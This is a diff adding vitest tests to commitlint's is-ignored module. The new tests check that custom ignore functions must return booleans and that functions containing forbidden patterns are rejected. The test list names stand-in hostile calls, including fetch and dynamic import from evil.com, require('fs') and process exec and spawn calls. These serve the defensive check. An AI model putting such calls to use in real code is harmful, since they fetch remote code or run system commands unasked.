|
1 | 1 | import {test, expect} from 'vitest';
|
2 | 2 |
|
3 | 3 | import isIgnored from './is-ignored.js';
|
| 4 | +import {Matcher} from '@commitlint/types'; |
4 | 5 |
|
5 | 6 | const VERSION_MESSAGES = [
|
6 | 7 | '0.0.1',
|
@@ -205,3 +206,64 @@ test('should throw error if any element of ignores is not a function', () => {
|
205 | 206 | } as any);
|
206 | 207 | }).toThrow('ignores must be array of type function, received items of type:');
|
207 | 208 | });
|
| 209 | + |
| 210 | +test('should throw error if custom ignore function returns non-boolean value', () => { |
| 211 | + const testCases = [ |
| 212 | + () => 1, // number |
| 213 | + () => 'true', // string |
| 214 | + () => undefined, // undefined |
| 215 | + () => null, // null |
| 216 | + () => ({}), // object |
| 217 | + () => [], // array |
| 218 | + ]; |
| 219 | + |
| 220 | + testCases.forEach((testFn) => { |
| 221 | + expect(() => { |
| 222 | + isIgnored('some commit', { |
| 223 | + ignores: [testFn as unknown as Matcher], |
| 224 | + }); |
| 225 | + }).toThrow('Ignore function must return a boolean'); |
| 226 | + }); |
| 227 | +}); |
| 228 | + |
| 229 | +test('should throw error for custom ignore functions with security risks', () => { |
| 230 | + const maliciousPatterns = [ |
| 231 | + 'function() { fetch("https://evil.com"); return true; }', |
| 232 | + 'function() { import("https://evil.com"); return true; }', |
| 233 | + 'function() { require("fs"); return true; }', |
| 234 | + 'function() { process.exec("ls"); return true; }', |
| 235 | + 'function() { process.spawn("ls"); return true; }', |
| 236 | + 'function() { process.execFile("ls"); return true; }', |
| 237 | + 'function() { process.execSync("ls"); return true; }', |
| 238 | + 'function() { new XMLHttpRequest(); return true; }', |
| 239 | + ]; |
| 240 | + |
| 241 | + maliciousPatterns.forEach((fnString) => { |
| 242 | + const fn = new Function(`return ${fnString}`)(); |
| 243 | + expect(() => { |
| 244 | + isIgnored('some commit', { |
| 245 | + ignores: [fn], |
| 246 | + }); |
| 247 | + }).toThrow('Ignore function contains forbidden pattern'); |
| 248 | + }); |
| 249 | +}); |
| 250 | + |
| 251 | +test('should not throw error for custom ignore functions without security risks', () => { |
| 252 | + const safePatterns = [ |
| 253 | + 'function(commit) { return commit === "some commit"; }', |
| 254 | + 'function(commit) { return commit.startsWith("some"); }', |
| 255 | + 'function(commit) { return commit.includes("some"); }', |
| 256 | + 'function(commit) { return commit.length < 10 && commit.includes("some"); }', |
| 257 | + 'function(commit) { return commit.length < 10 || commit.includes("fetch"); }', |
| 258 | + 'function(commit) { return commit.includes("exec"); }', |
| 259 | + ]; |
| 260 | + |
| 261 | + safePatterns.forEach((fnString) => { |
| 262 | + const fn = new Function(`return ${fnString}`)(); |
| 263 | + expect(() => { |
| 264 | + isIgnored('some commit', { |
| 265 | + ignores: [fn], |
| 266 | + }); |
| 267 | + }).not.toThrow(); |
| 268 | + }); |
| 269 | +}); |
0 commit comments